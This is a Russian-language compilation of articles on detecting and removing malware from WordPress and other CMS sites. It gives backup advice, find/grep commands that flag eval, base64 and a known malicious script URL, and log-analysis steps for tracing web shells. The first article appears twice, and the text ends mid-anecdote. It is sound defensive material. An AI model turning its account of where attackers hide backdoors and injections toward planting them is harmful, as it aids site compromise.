Вредоносный код wordpress. Как удалить вирус или вредоносный код из WordPress? Если вы нашли что-то интересное

Будучи одной из наиболее часто используемых платформ в публикации онлайн-контента, WordPress часто подвергается инфицированию malware, «троянскими» вирусами, вредоносным кодом и другими опасными штуками. Есть несколько практических руководств, которые касаются WordPress-безопасности и вопросов очистки вашего сайта от malware (вредоносный код). Эта тема настолько важна и актуальна для владельцев сайтов, что нет ничего плохого в том, чтобы вернуться к ее обсуждению снова и снова.

Новички, которые только начали использовать автономную CMS на собственном веб-сервере, впадают в панику, столкнувшись впервые с заражением своего сайта вредоносным ПО. В попытках восстановить свой сайт они допускают дополнительные ошибки, что часто ведет к полной потере файлов и важных данных. В этой статье мы научимся находить, определять и корректно удалять malware так, чтобы не навредить вашим данным и основным файлам на сайте.

Делайте бэкапы вашего сайта

Прежде чем мы перейдем к обсуждению malware и взломанных сайтов на базе WordPress, немаловажно обсудить вопрос создания бэкапов информации с вашего сайта. Если вы - новичок в использовании WordPress и всерьез занимаетесь изданием онлайн-контента, то вы должны первым делом быстро освоить навык создания бэкапов.

Регулярное сохранения резервных копий вашего сайта должно включать не только БД сайта, но и все основные файлы. Этот процесс и пары минут не займет, зато сохранит вам кучу времени и нервов в будущем и предостережет от целого ряда серьезных проблем. Я настоятельно рекомендую Backup Buddy, Cloudsafe365 и VaultPress в качестве премиум-решений для проведения регулярных процедур создания резервных копий и восстановления данных из них при необходимости. Также есть бесплатные плагины для этой цели, такие как WP-DBManager и руководство по созданию бэкапов вручную.

Восстанавливать сайт или искать на нем malware?

Если вы используете сервис для бэкапов наподобие Backup Buddy или VaultPress, тогда у вас есть опция восстановления сайта к более ранней версии. Тем не менее, я полагаю, что это - не самая лучшая идея. Восстановление вашего сайта без изучения причин сбоя и устранения malware может привести к тому, что уязвимости на вашем сайте все равно останутся. Поэтому куда лучшим будет найти уязвимость, устранить ее, а затем восстановить состояние сайта.

Определяем наличие вредоносного ПО на сайте

Malware обычно представляет собой вредоносный контент на вашем сайте, который добавляется на сайт путем вставки кода в страницы, темы, плагины, файлы или БД сайта. В этом коде может содержаться ПО, которое нанесет вред компьютерам пользователей, посещающих ваш сайт, другим веб-сайтам, а также внутренним фреймам вашего собственного сайта. Много различных техник внедрения вредоносного кода используется для проведения атак на WordPress-сайты.

Проверяем обрабатываемый HTML-код

Начать поиск malware мы можем с поиска того, где и как срабатывает вредоносный код на вашем сайте.

— Присутствует ли такой код на всех страницах?
— Появляется ли он только на конкретных страницах или в конкретных постах?
— Где именно появился вредоносный код? Он вставлен в подвал, в шапку сайта, в основной контент или в боковые панели сайта?

Ответы на эти вопросы помогут вам определить, какие именно файлы на сайте следует проверить в первую очередь.

Проверяем ваши плагины и темы на наличие вредоносного кода

Наиболее часто атакам подвергаются темы оформления и плагины на сайте. Начать проверку можно с того, что проверить файлы вашей темы на наличие вредоносного кода. Если в папке с темами у вас лежит больше одной темы для оформления, стоит проверить все темы, даже те, которые в данный момент неактивны.

Более простым способом проверки станет загрузка бэкапа вашей папки с темами и удаление всех тем с веб-сервера. Загрузите затем свежую копию темы темы по умолчанию Twenty Eleven и разместите ее на своем веб-сервере. Теперь проверьте ваш веб-сайт: если вредоносный код исчез - значит, все дело было в одном из файлов темы. Теперь вы можете почистить свою старую тему, открывая вручную файлы в редакторе и сравнивая код «чистой» темы и вашей темы на наличие странных или подозрительных включений кода. Вы также можете скачать свежую копию темы с сайта разработчиков.

Предположим, что вы просмотрели все файлы и темы и не нашли в них вредоносного кода. Тогда следующий шаг - поискать в плагинах. Воспользуйтесь тем же методом, который мы применили для тем. Загрузите бэкап плагинов в папку, затем удалите их с вашего сервера. Теперь просмотрите сайт в браузере и убедитесь, пропал ли вредоносный код. Если да - дело было в одном из ваших плагинов на сайте. Если вы видите, что malware опять появляется на сайте после установки и активации плагина или плагинов, то удалите этот плагин с вашего веб-сервера.

Самые лучшие практические способы защиты ваших тем и плагинов:

— Удаляйте ненужные темы и плагины с вашего веб-сервера.
— Убедитесь, что ваши темы и плагины всегда взяты из надежных источников.
— Регулярно обновляйте темы и плагины на сайте.
— Не используйте премиму-плагины и платные темы, загруженные с торрентов или с неофициальных сайтов.

Находим вредоносный код, вставленный в файлы ядра WordPress

Если вы уже проверили и темы, и плагины, и при этом вредоносный код никуда не пропал, то следующим шагом в ваших поисках станет проверка файлов ядра WordPress. Здесь я снова рекомендую применить тот же подход, что и в случае с плагинами и темами.

Для начала делаем резервную копию всех файлов вашего сайта (важно, чтобы в бэкап попали такие файлы, как wp-config, wp-content папка, .htaccess и robots.txt). После завершения процедуры резервного копирования начинайте удалять все файлы с вашего веб-сервера. Теперь скачайте свежую копию WordPress и установите его на сервер. Заполните wp-config информацией из вашей БД. Зайдите теперь на сайт и посмотрите, остался ли на нем вредоносный код. Если malware пропал, тогда значит, ваши файлы ядра были заражены. Теперь аккуратно восстановите изображения, видео и аудио-файлы из резервной копии вашего сайта.

Самые лучшие практические способы защитить код файлов в WordPress

— Убедитесь, что на сайте все разрешения на операции с файлами имеют значение 644.
— Не модифицируйте и не заменяйте файлы ядра в WordPress.
— Используйте надежные пароли в Shell, FTP, БД и панели администратора WordPress.

Находим инъекцию вредоносного SQL-кода в WordPress

Выше мы уже обследовали плагины, темы и ядро WordPress. Если все это не помогло побороть вредоносный код, пришло время браться за базу данных. Для начала убедитесь, что сделали резервную копию вашей БД сайта. Если делать бэкапы регулярно, то всегда можно легко восстановить предыдущую версию БД. Но перед этим убедитесь, что в БД закрался вредоносный код.

Скачайте и установите плагин WordPress Exploit Scanner . Активируйте его и просканируйте свой веб-сайт. Exploit Scanner проверит вашу БД, файлы ядра, плагины, темы на предмет подозрительного кода в них и выдаст вам результат сканирования. Как только сканирование завершится, вы просмотрите результаты: если в них обнаружится множество уведомлений об ошибках и ложных предупреждениях, вам придется выбирать результаты крайне внимательно. Этот плагин ничего не удаляет из ваших файлов и БД. Как только вы выясните, где именно «завелся» вредоносный код, эти файлы вам придется самостоятельно удалить вручную.

Скопируйте код, который кажется подозрительным и был определен плагином-сканнером, а затем запустите mysql-запрос такого вида, используя phpMyAdmin:

SELECT * From wp_comments where comment_content Like "%SuspiciousCodeHere%"

В зависимости от того, куда вставлен этот подозрительный код (в посты, комментарии или в таблицы), вам придется запускать этот запрос для различных полей и таблиц на сайте. Если в результирующих строках не слишком много кода, то вы можете вручную отредактировать файлы и поля, убрать вредоносный код. С другой стороны, если выдало слишком много строк, тогда вам, возможно, понадобится запуск автозамены для полей по базе, что является довольно рискованным делом, и если вы не знаете, как правильно пользоваться данным инструментом, то рискуете потерять все данные с вашего сайта.

Проделали все вышеперечисленное, но все равно не избавились от проблем?

Полагаю, большинство людей в состоянии самостоятельно и сравнительно просто определить, найти и устранить вредоносный код на своих WordPress-сайтах. Но иногда malware хорошо маскируется и не поддается простому удалению. Если вы перепробовали все вышеупомянутые методы и при этом ничего не выяснили и не удалили, тогда настала пора приглашать экспертов по безопасности в WordPress, пользоваться онлайн-сервисами или услугами консультантов, которые очистят ваш сайт от зловредов за небольшую плату.

Сервисы мониторинга и очистки сайта от Sucuri

Sucuri - компания, которая занимается мониторингом и безопасностью веб-сайтов. Они предлагают различные тарифные планы, удаление вредоносного ПО, мониторинг сайтов и бесплатные услуги сканирования сайтов. Процедура довольно проста и не требует с вашей стороны ничего: они просто обследуют ваш сайт, высылают вам уведомление в случае, если что-то подозрительное или опасное найдут, а затем вы можете зарегистрироваться с аккаунтом на сайте Sucuri и передать задание специалисту. Они уверяют, что очистка большинства клиентских сайтов происходит в течение 4 часов.

Ищем индивидуального эксперта по безопасности в WordPress

Есть много веб-сайтов для фрилансеров, где вы можете разместить предложение о работе для консультанта по безопасности, который устранит вашу проблему с заражением сайта. Из всех поступивших предложений выберите того, кто кажется вам наиболее опытным и знающим. Вы также можете разместить заявку на выполнение работ по очистке сайта от вредоносного ПО на WordPress Jobs либо в Smashing Magazine’s Jobs Board. Просто убедитесь в том, что человек, которого вы нанимаете для выполнения этих задач, опытен, обладает хорошей репутацией и положительными отзывами о предыдущей работе.

Заключение

WordPress безопасен в работе настолько, насколько это возможно. Как владелец веб-сайта, вы несете ответственность за сайт и за использование здравого смысла в борьбе с типичными угрозами для безопасности сайта. Пользуйтесь надежными паролями, проверяйте разрешения на операции с файлами, регулярно очищайте закладки и создавайте регулярные бэкапы - и у вас не будет проблем.

Будучи одной из наиболее часто используемых платформ в публикации онлайн-контента, WordPress часто подвергается инфицированию malware , "троянскими" вирусами, вредоносным кодом и другими опасными штуками. Есть несколько практических руководств, которые касаются wordpress-безопасности и вопросов очистки вашего сайта от malware (вредоносный код). Эта тема настолько важна и актуальна для владельцев сайтов, что нет ничего плохого в том, чтобы вернуться к ее обсуждению снова и снова.

Новички, которые только начали использовать автономную CMS на собственном веб-сервере, впадают в панику, столкнувшись впервые с заражением своего сайта вредоносным ПО. В попытках восстановить свой сайт они допускают дополнительные ошибки, что часто ведет к полной потере файлов и важных данных. В этой статье мы научимся находить, определять и корректно удалять malware так, чтобы не навредить вашим данным и основным файлам на сайте.

Делайте бэкапы вашего сайта

Прежде чем мы перейдем к обсуждению malware и взломанных сайтов на базе WordPress, немаловажно обсудить вопрос создания бэкапов информации с вашего сайта. Если вы - новичок в использовании WordPress и всерьез занимаетесь изданием онлайн-контента, то вы должны первым делом быстро освоить навык создания бэкапов.

Регулярное сохранения резервных копий вашего сайта должно включать не только БД сайта, но и все основные файлы. Этот процесс и пары минут не займет, зато сохранит вам кучу времени и нервов в будущем и предостережет от целого ряда серьезных проблем. Я настоятельно рекомендую Backup Buddy , Cloudsafe365 и VaultPress в качестве премиум-решений для проведения регулярных процедур создания резервных копий и восстановления данных из них при необходимости. Также есть бесплатные плагины для этой цели, такие как WP-DBManager и руководство по созданию бэкапов вручную .

Восстанавливать сайт или искать на нем malware?

Если вы используете сервис для бэкапов наподобие Backup Buddy или VaultPress , тогда у вас есть опция восстановления сайта к более ранней версии. Тем не менее, я полагаю, что это - не самая лучшая идея. Восстановление вашего сайта без изучения причин сбоя и устранения malware может привести к тому, что уязвимости на вашем сайте все равно останутся. Поэтому куда лучшим будет найти уязвимость , устранить ее , а затем восстановить состояние сайта.

Определяем наличие вредоносного ПО на сайте

Malware обычно представляет собой вредоносный контент на вашем сайте, который добавляется на сайт путем вставки кода в страницы, темы, плагины, файлы или БД сайта. В этом коде может содержаться ПО, которое нанесет вред компьютерам пользователей, посещающих ваш сайт, другим веб-сайтам, а также внутренним фреймам вашего собственного сайта. Много различных техник внедрения вредоносного кода используется для проведения атак на WordPress-сайты.

Проверяем обрабатываемый HTML-код

Начать поиск malware мы можем с поиска того, где и как срабатывает вредоносный код на вашем сайте.

  • Присутствует ли такой код на всех страницах?
  • Появляется ли он только на конкретных страницах или в конкретных постах?
  • Где именно появился вредоносный код? Он вставлен в подвал, в шапку сайта, в основной контент или в боковые панели сайта?

Ответы на эти вопросы помогут вам определить, какие именно файлы на сайте следует проверить в первую очередь.

Проверяем ваши плагины и темы на наличие вредоносного кода

Наиболее часто атакам подвергаются темы оформления и плагины на сайте. Начать проверку можно с того, что проверить файлы вашей темы на наличие вредоносного кода. Если в папке с темами у вас лежит больше одной темы для оформления, стоит проверить все темы, даже те, которые в данный момент неактивны.

Более простым способом проверки станет загрузка бэкапа вашей папки с темами и удаление всех тем с веб-сервера. Загрузите затем свежую копию темы темы по умолчанию и разместите ее на своем веб-сервере. Теперь проверьте ваш веб-сайт: если вредоносный код исчез - значит, все дело было в одном из файлов темы. Теперь вы можете почистить свою старую тему, открывая вручную файлы в редакторе и сравнивая код "чистой" темы и вашей темы на наличие странных или подозрительных включений кода. Вы также можете скачать свежую копию темы с сайта разработчиков.

Предположим, что вы просмотрели все файлы и темы и не нашли в них вредоносного кода. Тогда следующий шаг - поискать в плагинах. Воспользуйтесь тем же методом, который мы применили для тем. Загрузите бэкап плагинов в папку, затем удалите их с вашего сервера. Теперь просмотрите сайт в браузере и убедитесь, пропал ли вредоносный код. Если да - дело было в одном из ваших плагинов на сайте. Если вы видите, что malware опять появляется на сайте после установки и активации плагина или плагинов, то удалите этот плагин с вашего веб-сервера.

Самые лучшие практические способы защиты ваших тем и плагинов:
  • Удаляйте ненужные темы и плагины с вашего веб-сервера.
  • Убедитесь, что ваши темы и плагины всегда взяты из надежных источников.
  • Регулярно обновляйте темы и плагины на сайте.
  • Не используйте премиму-плагины и платные темы, загруженные с торрентов или с неофициальных сайтов.
Находим вредоносный код, вставленный в файлы ядра WordPress

Если вы уже проверили и темы, и плагины, и при этом вредоносный код никуда не пропал, то следующим шагом в ваших поисках станет проверка файлов ядра WordPress. Здесь я снова рекомендую применить тот же подход, что и в случае с плагинами и темами.

Для начала делаем резервную копию всех файлов вашего сайта (важно, чтобы в бэкап попали такие файлы, как wp-config , wp-content папка, .htaccess и robots.txt ). После завершения процедуры резервного копирования начинайте удалять все файлы с вашего веб-сервера. Теперь скачайте свежую копию WordPress и установите его на сервер. Заполните wp-config информацией из вашей БД. Зайдите теперь на сайт и посмотрите, остался ли на нем вредоносный код. Если malware пропал, тогда значит, ваши файлы ядра были заражены. Теперь аккуратно восстановите изображения, видео и аудио-файлы из резервной копии вашего сайта.

Самые лучшие практические способы защитить код файлов в WordPress
  • Убедитесь, что на сайте все разрешения на операции с файлами имеют значение 644.
  • Не модифицируйте и не заменяйте файлы ядра в WordPress.
  • Используйте надежные пароли в Shell, FTP, БД и панели администратора WordPress.
Находим инъекцию вредоносного SQL-кода в WordPress

Выше мы уже обследовали плагины, темы и ядро WordPress. Если все это не помогло побороть вредоносный код, пришло время браться за базу данных . Для начала убедитесь, что сделали резервную копию вашей БД сайта. Если делать бэкапы регулярно, то всегда можно легко восстановить предыдущую версию БД. Но перед этим убедитесь, что в БД закрался вредоносный код.

Скачайте и установите плагин WordPress Exploit Scanner . Активируйте его и просканируйте свой веб-сайт. Exploit Scanner проверит вашу БД, файлы ядра, плагины, темы на предмет подозрительного кода в них и выдаст вам результат сканирования. Как только сканирование завершится, вы просмотрите результаты: если в них обнаружится множество уведомлений об ошибках и ложных предупреждениях, вам придется выбирать результаты крайне внимательно. Этот плагин ничего не удаляет из ваших файлов и БД. Как только вы выясните, где именно "завелся" вредоносный код, эти файлы вам придется самостоятельно удалить вручную.

Если вы еще не делали резервной копии вашей БД, сделайте ее до того, как вносить в базу какие-либо изменения. Бэкап даже с вредоносным кодом в нем всегда лучше, чем полное отсутствие резервных копий.

Скопируйте код, который кажется подозрительным и был определен плагином-сканнером, а затем запустите mysql-запрос такого вида, используя phpMyAdmin :

SELECT * From wp_comments where comment_content Like "%SuspiciousCodeHere%"

В зависимости от того, куда вставлен этот подозрительный код (в посты, комментарии или в таблицы), вам придется запускать этот запрос для различных полей и таблиц на сайте. Если в результирующих строках не слишком много кода, то вы можете вручную отредактировать файлы и поля, убрать вредоносный код. С другой стороны, если выдало слишком много строк, тогда вам, возможно, понадобится запуск автозамены для полей по базе, что является довольно рискованным делом, и если вы не знаете, как правильно пользоваться данным инструментом, то рискуете потерять все данные с вашего сайта.

Проделали все вышеперечисленное, но все равно не избавились от проблем?

Полагаю, большинство людей в состоянии самостоятельно и сравнительно просто определить, найти и устранить вредоносный код на своих WordPress-сайтах. Но иногда malware хорошо маскируется и не поддается простому удалению. Если вы перепробовали все вышеупомянутые методы и при этом ничего не выяснили и не удалили, тогда настала пора приглашать экспертов по безопасности в WordPress, пользоваться онлайн-сервисами или услугами консультантов, которые очистят ваш сайт от зловредов за небольшую плату.

Сервисы мониторинга и очистки сайта от Sucuri Sucuri - компания, которая занимается мониторингом и безопасностью веб-сайтов. Они предлагают различные тарифные планы, удаление вредоносного ПО, мониторинг сайтов и бесплатные услуги сканирования сайтов. Процедура довольно проста и не требует с вашей стороны ничего: они просто обследуют ваш сайт, высылают вам уведомление в случае, если что-то подозрительное или опасное найдут, а затем вы можете зарегистрироваться с аккаунтом на сайте Sucuri и передать задание специалисту. Они уверяют, что очистка большинства клиентских сайтов происходит в течение 4 часов.

Ищем индивидуального эксперта по безопасности в WordPress

Есть много веб-сайтов для фрилансеров, где вы можете разместить предложение о работе для консультанта по безопасности, который устранит вашу проблему с заражением сайта. Из всех поступивших предложений выберите того, кто кажется вам наиболее опытным и знающим. Вы также можете разместить заявку на выполнение работ по очистке сайта от вредоносного ПО на WordPress Jobs либо в Smashing Magazine’s Jobs Board . Просто убедитесь в том, что человек, которого вы нанимаете для выполнения этих задач, опытен, обладает хорошей репутацией и положительными отзывами о предыдущей работе.

Заключение

WordPress безопасен в работе настолько, насколько это возможно. Как владелец веб-сайта, вы несете ответственность за сайт и за использование здравого смысла в борьбе с типичными угрозами для безопасности сайта. Пользуйтесь надежными паролями, проверяйте разрешения на операции с файлами, регулярно очищайте закладки и создавайте регулярные бэкапы - и у вас не будет проблем.

Каждый вебмастер сталкивался с проблемой поиска уязвимых мест своего сайта, с помощью которых злоумышленник может загрузить свой вредоносный код, который так или иначе повлияет на работоспособность всего сайта, вплоть до его исключения из поисковой выдачи.

Чаще всего заражение происходит из-за человеческого фактора, но что делать, если сайт все-таки взломан?

Основные проблемы

Меньшее из зол - это найти и удалить сам вредоносный код. Основная же проблема заключается в поиске того уязвимого места, через которое злоумышленник загрузил свой код на ваш сайт, чтобы обезопасить себя от следующих подобных прецедентов.

Для поиска вредоносного кода написано немало антивирусных программ, создано много сервисов, которые могут указать на адрес зараженной страницы, предоставив даже сигнатуру и исчерпывающую информацию о самом вирусе. Но ни одно программное обеспечение не сможет сказать Вам, как этот «чужой код» появился на сайте. Здесь стоит полагаться только на себя.

Ниже я приведу несколько команд, которые можно применять при поиске зараженных файлов и/или загруженных к Вам на сайт shell-ов/backdoor-ов. Для этого нам потребуется программа Putty и SSH-доступ к сайту.

Поиск зараженных файлов

С помощью нижеперечисленных команд можно найти файлы, содержащие «опасные» элементы, с помощью которых злоумышленник может выполнить вредоносный обфусицированный код.

Вывод файлов будет записан в лог-файл в вашей текущей директории. В каждом файле будет содержаться путь к найденному файлу и строка с подозрительным участком кода.

find /Каталог с сайтом -type f -iname "*" -exec grep -Him1 "eval" {} \; > ./eval.log
find /Каталог с сайтом -type f -iname "*" -exec grep -Him1 "base64" {} \; > ./base64.log
find /Каталог с сайтом -type f -iname "*" -exec grep -Him1 "file_get_contents" {} \; > ./file_get_contents.log

Поиск директорий с полными правами на запись

Следующая команда выводит список директорий, на которых установлены полные права на запись. Именно такие директории используют для заражения сайта.

find ./Каталог с сайтом -perm 777 -type d

Поиск измененных файлов за период

Если Вы знаете когда примерно произошло заражение, можно посмотреть список измененных файлов за последние несколько дней (параметр –mtime -7 указывает на дату изменения отличную от текущей за 7 прошлых дней)

find ./Каталог с сайтом -type f -iname "*" -mtime -7

Что делать, если сайт заражен?

Итак, предположим, что мы нашли зараженные файлы или shell-файл. Перед тем как его удалить/удалить из него вредоносный код, запомните его имя (полный путь), дату изменения/создания файла, его gid и id пользователя (для unix систем), это позволит найти способ его загрузки к нам на сайт. Начнем с пользователя и группы:

Посмотрите, от какого пользователя работает Ваш web-сервер:

ps -aux | grep "apache2" | awk {"print $1"}


Если этот пользователь совпадает с пользователем, создавшим вредоносный файл, то можно предположить, что он был загружен через сам сайт. Если же нет – файл могли загрузить через ftp (мы настоятельно рекомендуем изменить пароли к FTP-серверу и административной панели сайта).

cat ./site.ru.access.log | grep “имя filenameOfShellScript”


И получаем вывод всех запросов к нашему скрипту. По нему определяем userAgent и ip адрес нашего взломщика.

Следующей командой мы получаем список всех запросов, на которые он к нам заходил.

cat ./site.ru.access.log | grep “ip” | grep “userAgent”


Внимательно его проанализировав можно найти уязвимое место на сайте, следует обратить особое внимание на POST-запросы из вывода, с помощью которых мог быть залит вредоносный файл.

Ижаковский Андрей, системный администратор


Правда жизни такова, что сайт рано или поздно могут взломать. После успешной эксплуатации уязвимости хакер старается закрепиться на сайте, размещая в системных директориях хакерские веб-шеллы, загрузчики и внедряя бэкдоры в код скриптов и базу данных CMS.

Для обнаружения вредоносного кода в файлах и базе существуют специализированные решения – антивирусы и сканеры для хостингов. Их не так много, из популярных – это AI-BOLIT , MalDet (Linux Malware Detector) и ClamAv .

Сканеры помогают обнаруживать загруженные веб-шеллы, бэкдоры, фишинговые страницы, спам-рассыльщики и другие типы вредоносных скриптов – все то, что им известно и заранее добавлено в базу сигнатур вредоносного кода. Некоторые сканеры, например, AI-BOLIT, обладают набором эвристических правил, которые позволяют обнаруживать файлы с подозрительным кодом, который часто используется во вредоносных скриптах, или файлы с подозрительными атрибутами, которые могут быть загружены хакерами. Но, к сожалению, даже в случае использования нескольких сканеров на хостинге, возможны ситуации, когда некоторые хакерские скрипты остаются не обнаруженными, что фактически означает, что у злоумышленника остается “черный ход” и он может взломать сайт и получить над ним полный контроль в любой момент.

Современные вредоносные и хакерские скрипты значительно отличаются от тех, что были 4-5 лет назад. Сейчас разработчики вредоносного кода комбинируют обфускацию, шифрование, декомпозицию, внешнюю подгрузку вредоносного кода и используют другие уловки для того, чтобы обманывать антивирусное ПО. Поэтому вероятность пропуска новых “вредоносов” значительно выше, чем раньше.

Что же можно сделать в данном случае для более эффективного обнаружения вирусов на сайте и хакерских скриптов на хостинге? Необходимо использовать комплексный подход: первоначальное автоматизированное сканирование и дальнейший ручной анализ. В этой статье речь пойдет о вариантах обнаружения вредоносного кода без сканеров.

Вначале рассмотрим, что именно следует искать при взломе.

  • Хакерские скрипты.
    Чаще всего при взломе загружают файлы, представляющие собой веб-шеллы, бэкдоры, “загрузчики” (uploaders), скрипты для спам-рассылок, фишинговые страницы + обработчики форм, дорвеи и файлы-маркеры взлома (картинки с лого хакерской группы, текстовые файлы с “посланием” от хакеров и т.п.)
  • Инжекты (внедрения кода) в существующих файлах .
    Второй по популярности тип размещения вредоносного и хакерского кода – это инжекты. В существующие файлы сайта.htaccess могут внедрять мобильные и поисковые редиректы, в php/perl скрипты инжектировать бэкдоры, в.js и.html шаблоны встраивать вирусные javascript фрагменты или редиректы на сторонние ресурсы. Возможны инжекты и в медиа-файлах, например.jpg или. Часто вредоносный код состоит из нескольких компонентов: сам вредоносный код хранится в exif-заголовке jpg файла, а исполняется с помощью небольшого управляющего скрипта, код которого не выглядит подозрительным для сканера.
  • Инжекты в базе данных .
    База данных является третьей мишенью для хакера. Здесь возможны статические вставки , , , , которые перенаправляют посетителей на сторонние ресурсы, “шпионят” за ними или заражают компьютер/мобильное устройство посетителя в результате drive-by атаки.
    Кроме того во многих современных CMS (IPB, vBulletin, modx и др.) шаблонизаторы позволяют исполнять php код, а сами шаблоны хранятся в базе данных, поэтому php код веб-шеллов и бэкдоров может быть встроен непосредственно в БД.
  • Инжекты в кэширующих сервисах.
    В результате некорректной или небезопасной настройки кэширующих сервисов, например, memcached, возможны инжекты в закэшированные данные “на лету”. В некоторых случаях хакер может внедрять вредоносный код на страницы сайта без непосредственного взлома последнего.
  • Инжекты / инцицированные элементы в системных компонентах сервера.
    Если хакер получил привелегированный (root) доступ к серверу, он может подменить элементы веб-сервера или кэширующего сервера на инфицированные. Такой веб-сервер будет с одной стороны обеспечивать контроль над сервером с помощью управляющих команд, с другой – время от времени внедрять динамические редиректы и вредоносный код на страницы сайта. Как и в случае инжекта в кэширующий сервис, администратора сайта скорее всего не сможет обнаружить факт взлома сайта, так как все файлы и база данных будут оригинальными. Этот вариант наиболее сложный для лечения.
  • Итак, предположим, что сканерами вы уже проверили файлы на хостинге и дамп базы данных, но они ничего не обнаружили, а вирусный по-прежнему на странице или мобильный редирект продолжает отрабатывать при открытии страниц. Как искать дальше?

    Поиск вручную

    В unix сложно найти более ценную пару команд для поиска файлов и фрагментов, чем find / grep.

    find . -name ‘*.ph*’ -mtime -7

    найдет все файлы, которые были изменены за последнюю неделю. Иногда хакеры “скручивают” дату изменения у скриптов, чтобы таким образом не обнаружить новые скрипты. Тогда можно поискать файлы php/phtml, у которых менялись атрибуты

    find . -name ‘*.ph*’ -сtime -7

    Если нужно найти изменения в каком-то временном интервале, можно воспользоваться тем же find

    find . -name ‘*.ph*’ -newermt 2015-01-25 ! -newermt 2015-01-30 -ls

    Для поиска в файлах незаменим grep. Он может искать рекурсивно по файлам указанный фрагмент

    grep -ril ‘stummann.net/steffen/google-analytics/jquery-1.6.5.min.js’ *

    При взломе сервера полезно проанализировать файлы, у которых установлен guid/suid флаг

    find / -perm -4000 -o -perm -2000

    Чтобы определить, какие скрипты запущены в данный момент и грузят CPU хостинга, можно вызвать

    lsof +r 1 -p `ps axww | grep httpd | grep -v grep | awk ‘ { if(!str) { str=$1 } else { str=str»,»$1}}END{print str}’` | grep vhosts | grep php

    Используем мозг и руки для анализа файлов на хостинге
  • Идем в директории upload, cache, tmp, backup, log, images , в которые что-то пишется скриптами или загружается пользователями, и просматриваем содержимое на наличие новых файлов с подозрительными расширениями. Например, для joomla можно проверить.php файлы в каталоге images:find ./images -name ‘*.ph*’Скорее всего, если что-то найдется, то это будет вредонос.
    Для WordPress имеет смысл проверить на скрипты директорию wp-content/uploads, backup и cache каталоги тем.
  • Ищем файлы со странными именами
    Например, php, fyi.php, n2fd2.php. Файлы можно искать
    • по нестандартным сочетаниям символов,
    • наличию цифр 3,4,5,6,7,8,9 в имени файлов
  • Ищем файлы с нехарактерными расширениями
    Допустим, у вас сайт на WordPress или Для них файлы с расширениями.py, .pl, .cgi, .so, .c, .phtml, .php3 будут не совсем обычными. Если какие-то скрипты и файлы с данными расширениями будут обнаружены, скорее всего это будут хакерские инструменты. Возможен процент ложных обнаружений, но он не велик.
  • Ищем файлы с нестандартными атрибутами или датой создания
    Подозрения могут вызывать файлы с атрибутами, отличающимися от существующих на сервере. Например, все.php скрипты были загружены по ftp/sftp и имеют пользователя user, а некоторые созданы пользователем www-data. Имеет смысл проверить последние. Или если дата создания файла скрипта раньше даты создания сайта.
    Для ускорения поиска файлов с подозрительными атрибутами удобно пользоваться unix командой find.
  • Ищем дорвеи по большому числу файлов .html или.php
    Если в каталоге несколько тысяч файлов.php или.html, скорее всего это дорвей.
  • Логи в помощь

    Логи веб-сервера, почтового сервиса и FTP можно использовать для обнаружения вредоносных и хакерских скриптов.

    • Корреляция даты и времени отправки письма (которые можно узнать из лога почтового сервера или служебного заголовка спам-письма) с запросами из access_log помогают выявить способ рассылки спама или найти скрипт спам-рассыльщика.
    • Анализ трансфер-лога FTP xferlog позволяет понять, какие файлы были загружены в момент взлома, какие изменены и кем.
    • В правильно настроенном логе почтового сервера или в служебном заголовке спам-письма при правильной настройке PHP будет имя или полный путь до скрипта-отправителя, что помогает определять источник спама.
    • По логам проактивной защиты современных CMS и плагинов можно определять, какие атаки были выполнены на сайт и сумела ли CMS им противостоять.
    • По access_log и error_log можно анализировать действия хакера, если известны имена скриптов, которые он вызывал, IP адрес или User Agent. В крайнем случае можно просмотреть POST запросы в день взлома и заражения сайта. Часто анализ позволяет найти другие хакерские скрипты, которые были загружены или уже находились на сервере в момент взлома.
    Контроль целостности

    Намного проще анализировать взлом и искать вредоносные скрипты на сайте, если заранее позаботить о его безопасности. Процедура контроля целостности (integrity check) помогает своевременно обнаруживать изменения на хостинге и определять факт взлом. Один из самых простых и эффективных способов – положить сайт под систему контроля версий (git, svn, cvs). Если грамотно настроить.gitignore, то процесс контроля за изменениями выглядит как вызов команды git status, а поиск вредоносных скриптов и измененных файлов – git diff.

    Также у вас всегда будет резервная копия файлов, до которой можно «откатить» сайт в считанные секунды. Администраторам сервера и продвинутым веб-мастерам можно использовать inotify, tripwire, auditd и другие механизмы для отслеживания обращений к файлам и директориям, и контроля за изменениями в файловой системе.

    К сожалению, не всегда есть возможность настроить систему контроля версий или сторонние сервисы на сервере. В случае shared-хостинга не получится установить систему контроля версий и системные сервисы. Но это не беда, есть достаточно много готовых решений для CMS. На сайте можно установить плагин или отдельный скрипт, который будет отслеживать изменения в файлах. В некоторых CMS уже реализован эффективный мониторинг изменений и механизм integrity check (Например, в Битрикс, DLE). В крайнем случае, если на хостинге есть ssh, можно сформировать эталонный слепок файловой системы командой

    ls -lahR > original_file.txt

    и при возникновении проблем создать новый слепок в другой файл, а затем сравнить их в программах WinDiff, AraxisMerge Tool или BeyondCompare.

    Эпилог

    В большинстве случаев разработчики антивирусного ПО и сканеры не поспевают за разработчиками вредоносного кода, поэтому при диагностике и лечении сайтов нельзя полагаться только на автоматизированные программные решения и скрипты. Используя эвристический подход, богатый инструментарий операционной системы и возможности CMS можно находить вредоносный код, который не смогли обнаружить антивирусы и сканеры. Использование ручного анализа делает процесс лечения сайтов более качественным и эффективным.

    Привет друзья. Вы уверены, что бесплатный шаблон WordPress, который вы используете для своих сайтов и блогов действительно безопасный и не содержит скрытых угроз и вредоносного кода? Вы полностью в этом уверены? Абсолютно?)

    Думаете, прогнали шаблон через , удалили из него скрытые ссылки, и дело сделано. Файлы сайта сканируете периодически антивирусом, заглядываете в инструменты вебмастера Яндекса во вкладку Безопасность и с облегчением видите там сообщение: «Вредоносный код на сайте не обнаружен «.

    Вот и я так думал. Не хотел бы вас расстраивать, но…

    Скрытый опасный код в бесплатных шаблонах WordPress

    Вот такое письмо я получил на прошлой неделе на почту от своего хостинга. С недавних пор они ввели регулярную проверку всех файлов сайта на поиск вредоносного содержания и таки они это содержание у меня обнаружили!

    Началось все с того, что я зашел как-то днем на свой сайт и не смог его запустить — вылезала ругательная надпись про не найденные файлы с расширением php. Немного напрягшись пошел изучать содержимое папки с сайтом на хостинге и сразу же обнаружил проблему — мой файл шаблона fuctions.php был переименован в functions.php.malware что как бы неоднозначно намекало — здесь поработал антивирус или что-то вроде этого) Зайдя на почту я и обнаружил вышеупомянутый отчет от хостера.

